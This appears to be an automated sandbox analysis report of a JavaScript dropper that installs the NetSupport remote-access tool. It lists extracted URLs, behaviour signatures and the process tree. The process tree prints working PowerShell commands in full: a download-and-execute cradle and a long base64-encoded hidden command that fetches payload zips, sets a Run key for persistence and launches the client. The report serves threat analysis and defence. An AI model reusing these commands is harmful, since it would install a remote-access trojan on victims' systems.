Analysis
- max time kernel
141s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
23/01/2024, 13:11
General
- Target in_8518513851851.js
- Size 26KB
- Sample240123-qe4mpabdc4
- SHA256 4198a65d984c721863bef300062563aa75b38773aab949167762d31316c9ed4d
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://hsdiagnostico.com/readme.php
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://core-click.net/TVFrontend/NSM.zip
-
exe.dropper
https://core-click.net/TVFrontend/remcmdstub.zip
-
exe.dropper
https://core-click.net/TVFrontend/DLAA1view.zip
-
exe.dropper
https://core-click.net/TVFrontend/mock/
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\in_8518513851851.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hsdiagnostico.com/readme.php')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noPROFi -ExECutionpoL ByPass -w hidd -E JAA5AE4AUQB4AFQAPQAnAEgASQBaAEwATQBJAC4AegBpAHAAJwA7ACAAYwBoAEQASQByACAAJABlAE4AVgA6AGEAcABwAEQAYQB0AEEAOwAgACQAcQBnAEoASAA3AD0AZwBFAFQALQBjAG8AbQBNAEEATgBEACAARQBYAHAAYQBOAGQALQBhAFIAYwBIAEkAdgBFACAALQBlAFIAUgBPAFIAYQBjAFQAaQBPAG4AIABzAGkATABFAE4AVABMAHkAYwBvAG4AdABJAE4AVQBFADsAIAAkAEsANAB1AEEATQA9ACcAWABpADgANQAxADcAOQAuAHoAaQBwACcAOwAgAFsAbgBFAHQALgBzAGUAUgB2AEkAQwBlAHAATwBJAE4AdABtAEEAbgBhAEcARQBSAF0AOgA6AHMARQBDAFUAUgBJAFQAeQBQAFIAbwBUAE8AYwBvAGwAIAA9ACAAWwBuAEUAdAAuAHMARQBjAFUAcgBpAFQAeQBQAHIAbwBUAE8AYwBPAGwAdABZAHAARQBdADoAOgB0AEwAUwAxADIAOwAgACQASABuAGcAZgBEAD0AJwBoAHQAdABwAHMAOgAvAC8AYwBvAHIAZQAtAGMAbABpAGMAawAuAG4AZQB0AC8AVABWAEYAcgBvAG4AdABlAG4AZAAvAE4AUwBNAC4AegBpAHAAJwA7ACAAJABKAEMANQBSAHoANQBOAFMAPQBnAEMATQAgAFMAVABBAFIAdAAtAGIASQBUAFMAdABSAGEAbgBTAGYARQByACAALQBFAHIAcgBvAFIAQQBDAFQASQBPAG4AIABzAGkATABlAE4AdABMAHkAQwBvAG4AdABJAE4AVQBFADsAIAAkAEgAcABvAHkATQA9ACcAYQByAGEAZwBkAHIAdABzACcAOwAgACQAUQBkAEkANABwAEEAOABZAD0AJwBoAHQAdABwAHMAOgAvAC8AYwBvAHIAZQAtAGMAbABpAGMAawAuAG4AZQB0AC8AVABWAEYAcgBvAG4AdABlAG4AZAAvAHIAZQBtAGMAbQBkAHMAdAB1AGIALgB6AGkAcAAnADsAIAAkAHkAMQBsAEkANwBQAGkATgA9ACcAaAB0AHQAcABzADoALwAvAGMAbwByAGUALQBjAGwAaQBjAGsALgBuAGUAdAAvAFQAVgBGAHIAbwBuAHQAZQBuAGQALwBEAEwAQQBBADEAdgBpAGUAdwAuAHoAaQBwACcAOwAgACQASgBhAGcAaABPAD0AJwBiAFQAUwBmAFEAVgBoAC4AegBpAHAAJwA7ACAAJABmAEoAQQBSAGgAVABmAFYAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAFAAcABEAGEAdABhACwAIAAkAEsANAB1AEEATQA7ACAAJABHAFEAVQBTADQARABoAHEAPQAkAEUAbgB2ADoAYQBQAHAARABBAHQAQQArACcAXAAnACsAJABKAGEAZwBoAE8AOwAgACQAcgA4AGsAegBRADMAZQBqAD0AIgB7ADAAfQBcAHsAMQB9ACIAIAAtAGYAIAAkAEUAbgBWADoAQQBwAHAAZABhAFQAYQAsACAAJAA5AE4AUQB4AFQAOwAgACQAdQBzAHMASABXAHIAPQAnAEIASQBUAFMAYQBEAE0ASQBOAC4ARQBYAEUAIAAvAFQAcgBBAG4AcwBmAGUAUgAgAGQAZABkAHYAUwAwAFYAagAgAC8AZABvAFcAbgBsAG8AYQBEACAALwBQAHIAaQBPAHIAaQB0AHkAIABuAG8AUgBtAEEATAAnACwAIAAkAEgAbgBnAGYARAAsACAAJABmAEoAQQBSAGgAVABmAFYAIAAtAEoATwBpAG4AIAAnACAAJwA7ACAAJAA1AFUARgB6AEkAPQAiAGIAaQBUAFMAYQBEAE0AaQBOAC4AZQBYAGUAIAAvAHQAcgBhAE4AUwBmAGUAUgAgAHIANAAyAGkAagBKACAALwBEAG8AVwBuAEwAbwBBAEQAIAAvAHAAcgBpAE8AcgBJAFQAWQAgAE4AbwBSAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJAB5ADEAbABJADcAUABpAE4ALAAgACQAcgA4AGsAegBRADMAZQBqADsAIAAkAE0AeABjAEQAMgBiAFYAPQAiAEIAaQB0AHMAYQBkAE0ASQBuAC4AZQB4AGUAIAAvAFQAcgBBAG4AUwBGAEUAcgAgAFEAWABIAE0ATwBUACAALwBEAE8AVwBOAEwATwBBAGQAIAAvAFAAcgBJAE8AUgBpAHQAeQAgAG4AbwBSAE0AYQBMACAAJABRAGQASQA0AHAAQQA4AFkAIAAkAEcAUQBVAFMANABEAGgAcQAiADsAIAAkAFcAbQBUAE0ARgBDAHAAVwA9AEoATwBJAG4ALQBQAEEAdABoACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABQAEQAQQBUAEEAIAAtAEMAaABJAGwAZABwAGEAVABIACAAJABIAHAAbwB5AE0AOwAgAGkARgAgACgAJABxAGcASgBIADcAKQAgAHsAIABpAEYAIAAoACQASgBDADUAUgB6ADUATgBTACkAIAB7ACAAcwB0AGEAUgBUAC0AYgBpAFQAUwB0AFIAYQBOAFMAZgBlAHIAIAAtAFMATwB1AHIAYwBFACAAJABRAGQASQA0AHAAQQA4AFkAIAAtAGQARQBTAFQASQBuAEEAdABpAE8AbgAgACQARwBRAFUAUwA0AEQAaABxADsAIABzAHQAQQByAHQALQBCAEkAdABTAFQAUgBBAG4AcwBGAEUAcgAgAC0AcwBvAFUAUgBjAGUAIAAkAEgAbgBnAGYARAAgAC0ARABlAHMAVABpAG4AYQB0AEkATwBOACAAJABmAEoAQQBSAGgAVABmAFYAOwAgAHMAdABBAFIAVAAtAEIASQB0AFMAVABSAEEAbgBTAEYAZQBSACAALQBzAE8AVQBSAGMARQAgACQAeQAxAGwASQA3AFAAaQBOACAALQBEAGUAUwB0AEkATgBBAHQASQBPAG4AIAAkAHIAOABrAHoAUQAzAGUAagA7ACAAfQAgAGUAbABTAGUAIAB7AEkAbgBWAE8ASwBFAC0ARQB4AFAAcgBFAHMAcwBJAG8ATgAgAC0AQwBvAE0ATQBBAG4ARAAgACQAdQBzAHMASABXAHIAOwAgAGkATgB2AG8ASwBFAC0AZQBYAHAAUgBFAHMAUwBJAG8AbgAgAC0AYwBPAG0AbQBhAG4ARAAgACQATQB4AGMARAAyAGIAVgA7ACAAJgAgACQANQBVAEYAegBJADsAIAB9ACAAZQBYAFAAYQBOAEQALQBBAHIAYwBoAEkAdgBFACAALQBQAEEAdABIACAAJABmAEoAQQBSAGgAVABmAFYAIAAtAGQAZQBzAHQASQBOAEEAVABpAG8ATgBwAGEAVABoACAAJABXAG0AVABNAEYAQwBwAFcAOwAgAEUAeABwAEEATgBkAC0AYQByAEMAaABpAHYARQAgAC0AcABhAFQAaAAgACQAcgA4AGsAegBRADMAZQBqACAALQBkAGUAUwB0AGkAbgBhAHQAaQBPAE4AUABBAHQASAAgACQAVwBtAFQATQBGAEMAcABXADsAIABFAHgAcABBAG4AZAAtAGEAUgBjAEgAaQBWAEUAIAAtAHAAYQBUAEgAIAAkAEcAUQBVAFMANABEAGgAcQAgAC0AZABFAFMAVABJAE4AYQB0AGkAbwBuAHAAYQBUAGgAIAAkAFcAbQBUAE0ARgBDAHAAVwA7ACAAcgBEACAALQBQAGEAdABoACAAJAByADgAawB6AFEAMwBlAGoAOwAgAEUAcgBBAHMAZQAgAC0AcABBAHQAaAAgACQAZgBKAEEAUgBoAFQAZgBWADsAIAByAE0AIAAtAHAAQQBUAEgAIAAkAEcAUQBVAFMANABEAGgAcQA7ACAAfQAgAGUAbABTAGUAIAB7ACAAJABEAGYAYwBWAHUAZQA9ACcAaAB0AHQAcABzADoALwAvAGMAbwByAGUALQBjAGwAaQBjAGsALgBuAGUAdAAvAFQAVgBGAHIAbwBuAHQAZQBuAGQALwBtAG8AYwBrAC8AJwA7ACAAJABvAFcAQwB5AG8APQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBuAHMAbQBfAHYAcAByAG8ALgBpAG4AaQAnACwAIAAnAGMAbABpAGUAbgB0ADMAMgAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBwAGMAaQBjAGEAcABpAC4AZABsAGwAJwAsACAAJwBuAHMAawBiAGYAbAB0AHIALgBpAG4AZgAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAHIAZQBtAGMAbQBkAHMAdAB1AGIALgBlAHgAZQAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAEEAdQBkAGkAbwBDAGEAcAB0AHUAcgBlAC4AZABsAGwAJwAsACAAJwBQAEMASQBDAEgARQBLAC4ARABMAEwAJwApADsAIABuAEkAIAAtAFAAQQB0AEgAIAAkAEUAbgBWADoAYQBQAFAAZABhAHQAQQAgAC0ATgBhAE0ARQAgACQASABwAG8AeQBNACAALQBJAFQARQBNAHQAWQBwAGUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgAGkARgAgACgAJABKAEMANQBSAHoANQBOAFMAKQAgAHsAIAAkAG8AVwBDAHkAbwAgAHwAIABmAG8AcgBlAGEAYwBoAC0ATwBiAEoARQBDAHQAIAB7ACAAJAB5AEkARQBsAEgASABOAD0AJABEAGYAYwBWAHUAZQArACQAXwA7ACAAJAA2AEUAeABlAFkAcgBwAD0AJABXAG0AVABNAEYAQwBwAFcAKwAnAFwAJwArACQAXwA7ACAAUwBUAEEAUgB0AC0AYgBpAHQAcwB0AFIAYQBuAFMARgBFAHIAIAAtAHMAbwBVAHIAYwBFACAAJAB5AEkARQBsAEgASABOACAALQBEAGUAcwB0AGkATgBBAFQASQBvAE4AIAAkADYARQB4AGUAWQByAHAAOwAgAH0AOwB9ACAAZQBMAHMARQAgAHsAIAAkAG8AVwBDAHkAbwAgAHwAIABGAE8AUgBlAEEAYwBoACAAewAgACQAeQBJAEUAbABIAEgATgA9ACQARABmAGMAVgB1AGUAKwAkAF8AOwAgACQANgBFAHgAZQBZAHIAcAA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABXAG0AVABNAEYAQwBwAFcALAAgACQAXwA7ACAAJABBAFcAagB5AEgAZwA9ACIAYgBJAHQAcwBBAGQATQBpAE4ALgBFAHgARQAgAC8AdAByAEEAbgBTAEYARQBSACAAbAB5AHEANABYAFkANQBpACAALwBkAG8AVwBuAEwATwBhAEQAIAAvAHAAUgBpAG8AcgBpAHQAWQAgAE4AbwBSAG0AQQBsACAAJAB5AEkARQBsAEgASABOACAAJAA2AEUAeABlAFkAcgBwACIAOwAgAEkATgBWAE8AawBlAC0AZQBYAHAAUgBlAHMAcwBpAG8ATgAgAC0AQwBPAG0ATQBBAE4AZAAgACQAQQBXAGoAeQBIAGcAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAHYAUQByAHMAUAA9AEcAZQBUAC0ASQB0AEUATQAgACQAVwBtAFQATQBGAEMAcABXACAALQBGAE8AcgBjAGUAOwAgACQAdgBRAHIAcwBQAC4ATgBhAE0ARQA9ACcASABpAGQAZABlAG4AJwA7ACAAYwBEACAAJABXAG0AVABNAEYAQwBwAFcAOwAgACQATAB1AEsAbQAwAEcAagBHAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAFcAbQBUAE0ARgBDAHAAVwA7ACAAcwB0AGEAUgBUAC0AUABSAG8AYwBlAHMAcwAgAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlADsAIABuAEUAdwAtAGkAVABFAG0AcAByAG8AcABlAFIAdAB5ACAALQBQAEEAdABIACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEATQBFACAAJABIAHAAbwB5AE0AIAAtAFYAYQBsAFUARQAgACQATAB1AEsAbQAwAEcAagBHACAALQBwAFIATwBwAGUAcgB0AFkAdAB5AFAAZQAgACcAUwB0AHIAaQBuAGcAJwA7AA==3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\aragdrts\client32.exe"C:\Users\Admin\AppData\Roaming\aragdrts\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_br2ckhch.bbl.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICL32.dll
client32.exe
client32.exe
client32.ini
pcicapi.dll
pcichek.dll
pcicl32.dll
memory/2228-5-0x000001636A0F0000-0x000001636A112000-memory.dmp
memory/2228-61-0x00007FFA22360000-0x00007FFA22E21000-memory.dmp
memory/2228-10-0x00007FFA22360000-0x00007FFA22E21000-memory.dmp
memory/2228-11-0x0000016367F70000-0x0000016367F80000-memory.dmp
memory/2228-12-0x0000016367F70000-0x0000016367F80000-memory.dmp
memory/2228-79-0x00007FFA22360000-0x00007FFA22E21000-memory.dmp
memory/5040-26-0x000001E7FF260000-0x000001E7FF274000-memory.dmp
memory/5040-25-0x000001E7FF210000-0x000001E7FF236000-memory.dmp
memory/5040-62-0x000001E7FCCF0000-0x000001E7FCD00000-memory.dmp
memory/5040-15-0x000001E7FCCF0000-0x000001E7FCD00000-memory.dmp
memory/5040-14-0x000001E7FCCF0000-0x000001E7FCD00000-memory.dmp
memory/5040-13-0x00007FFA22360000-0x00007FFA22E21000-memory.dmp
memory/5040-27-0x000001E7FF2A0000-0x000001E7FF2B2000-memory.dmp
memory/5040-28-0x000001E7FF290000-0x000001E7FF29A000-memory.dmp
memory/5040-74-0x00007FFA22360000-0x00007FFA22E21000-memory.dmp